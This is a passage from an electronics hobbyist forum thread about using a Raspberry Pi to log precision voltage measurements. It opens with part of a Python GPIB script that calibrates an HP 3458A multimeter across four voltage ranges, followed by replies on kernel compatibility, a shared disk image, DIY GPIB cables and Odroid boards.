            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_1V_FullRange)-1)*1E6                   # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 1 V Range    : Nominal = %.10f Volts" %dcv_1V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 10 V range
    elif rangeCounter == 2:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 10")                                # commands the 3458A to 10 V range
        inst_4808.write("R6=")                                      # commands the 4808 to 10 V Range
        inst_4808.write("M10=")                                     # commands the 4808 to a value of 10 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(20)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_10V_FullRange)-1)*1E6                  # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 10 V Range   : Nominal = %.10f Volts" %dcv_10V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 100 V range
    elif rangeCounter == 3:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 100")                               # commands the 3458A to 100 V range
        inst_4808.write("R7=")                                      # commands the 4808 to 100 V Range
        inst_4808.write("M100=")                                    # commands the 4808 to a value of 100 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(5)
        inst_3458A.write("TARM SGL,1")
        time.sleep(30)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_100V_FullRange)-1)*1E6                 # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 100 V Range  : Nominal = %.10f Volts" %dcv_100V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0


    # 1000 V range
    elif rangeCounter == 4:
        measurementCounter = 0                                      # sets measurement counter to 0
        rangeCounter += 1                                           # increments the range counter
        inst_3458A.write("range 1000")                              # commands the 3458A to 1000 V range
        inst_4808.write("R8=")                                      # commands the 4808 to 1000 V Range
        inst_4808.write("M1000=")                                   # commands the 4808 to a value of 1000 V
        inst_4808.write("O1=")                                      # commands the 4808 output state ON
        time.sleep(10)
        inst_3458A.write("TARM SGL,1")
        time.sleep(30)
       
        # While loop to step through 25 measurements to get an average
        while measurementCounter < numberOfMeasurements:
            inst_3458A.write("TARM SGL,1")                                      # commands the 3458A to trigger a measurement
            data = inst_3458A.read()
            currentMeasurement = float(data)                                    # Reads the measurement via GPIB and stores the value into currentMeasurement
            runningTotal += currentMeasurement                                  # Adds measurement to running total
            measurementCounter += 1                                             # increments the measurement counter
            time.sleep(5)

        inst_4808.write("O0=")                                              # commands the 4808 output state OFF
        measurementAvg = runningTotal/numberOfMeasurements                  # calculates the average of the 25 measurements
        ppm = ((measurementAvg / dcv_1000V_FullRange)-1)*1E6                # calculates the ppm deviation from input

        # Opens LogFile and writes a row of data
        with open(LogFile, 'a') as MeterLog:
            MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 1000 V Range : Nominal = %.10f Volts" %dcv_1000V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))
            MeterLog.close()
            measurementAvg = 0
            runningTotal = 0
            ppm = 0
           

 # Opens LogFile and generates end of report statement
with open(LogFile, 'a') as MeterLog:
    MeterLog.write("End of Report! The time is : " + time.strftime("%d/%m/%Y-%H:%M:%S,\n"))
    MeterLog.close()
« Last Edit: January 09, 2017, 01:31:14 am by CalMachine »
All your volts are belong to me
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #236 on: January 09, 2017, 10:16:39 am »
I'd add two more steps

1. To null zero offset with short before going thru reading.
2. To run ACAL on 3458A prior to any measurements.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Online TheSteve

  • Supporter
  • ****
  • Posts: 3011
  • Country: ca
  • GHz
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #237 on: January 11, 2017, 08:59:58 pm »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.
VE7FM
 
The following users thanked this post: bingo600, dr.diesel, Assafl

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #238 on: January 11, 2017, 10:09:01 pm »
Thanks Steve for image. This week I should receive RPi 1 B+ for test.
In meantime has been tested kernel 4.9, I cannot recommend it, rather stay with 4.4.38 or 4.4.35 used on LogNut image. With 4.9 it is almost impossible to log more than day. There is timeout on NI GPIB USB HS adapter.
But this kernel works OK with E5810.

Arduino GPIB adapter assembled and it seems to be similar to Prologix 6.0. Used Arduino Nano.
3D printed enclosure
http://www.thingiverse.com/thing:993349


Also started work on PID temperature controller program for easy tempco measurement. I select E3632A power supply with H bridge from Pololu and 15V/4A TEC module.
H bridge is used for changing polarity by PSU relay signal available on RS232 output ( internal jumpers needs to be placed ) it is possible to control over GPIB.
Current version of algorithm has few issue, so it needs some fine tuning.

During testing logging on GPIB and multiple RPI I realized that I needs more GPIB cables. So I made some DIY, It is more easy to work with them, when instruments has different GPIB connectors orientation.

« Last Edit: January 11, 2017, 10:50:35 pm by plesa »
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #239 on: January 12, 2017, 09:04:11 am »
As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

Image is 16GB and will probably not fit to majority of 16GB cards, For testing you needs +16GB SD card.
 

Online dr.diesel

  • Super Contributor
  • ***
  • Posts: 2132
  • Country: us
  • Cramming the magic smoke back in...
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #240 on: January 12, 2017, 07:28:17 pm »
In meantime has been tested kernel 4.9, I cannot recommend it, rather stay with 4.4.38 or 4.4.35 used on LogNut image. With 4.9 it is almost impossible to log more than day. There is timeout on NI GPIB USB HS adapter.

So this is a kernel issue and not linux-gpib?  Reverting a kernel patch might be an easy solution if we knew more.

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #241 on: January 12, 2017, 09:29:02 pm »
During testing logging on GPIB and multiple RPI I realized that I needs more GPIB cables. So I made some DIY, It is more easy to work with them, when instruments has different GPIB connectors orientation.

Where did you get the GPIB connectors for ribbon , what did they cost ?

/Bingo
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #242 on: January 12, 2017, 09:38:42 pm »
Maybe we should switch to Odroid for the logging platform.

The C2 beats the Rpi3 by lengths in speed and has 2G ram & 1Gb ether throughput both ways, and the C1 is also a nice buy

C1
http://www.pollin.de/shop/dt/OTg1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C1_Einplatinen_Computer_1_5_GHz_QuadCore_4x_USB_1_GB.html


C2
http://www.pollin.de/shop/dt/ODA1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C2_Einplatinen_Computer_1_5_GHz_QuadCore_2_GB_RAM_4x_USB.html


I used to think that the sw support & new kernels for the Rpi platform was the strength of it, the USB-bound IO certainly isn't.
But now the bad kernel stuff seems to be the weakness.

The Odroid is super performing HW , beats a Rpi any day.
But they lag behind in kernelstuff, as AMLOGIC seems slow to port to the newer kernel 4


Well Rpi is prob the most widespread platform, but the Odroid C2 just kicks A..
It might also have the widest set of installable packages, though i have never missed a package on my Ordoids.


I have both C1 & C2 , and might see if i can test linux-gpib w. Agilent-USB-GPIB , in a few weeks.

I have the choice of Ubuntu (Official supported by Hardkernel) or Debian (Community supported) and usually my choice.

/Bingo
« Last Edit: January 12, 2017, 09:44:41 pm by bingo600 »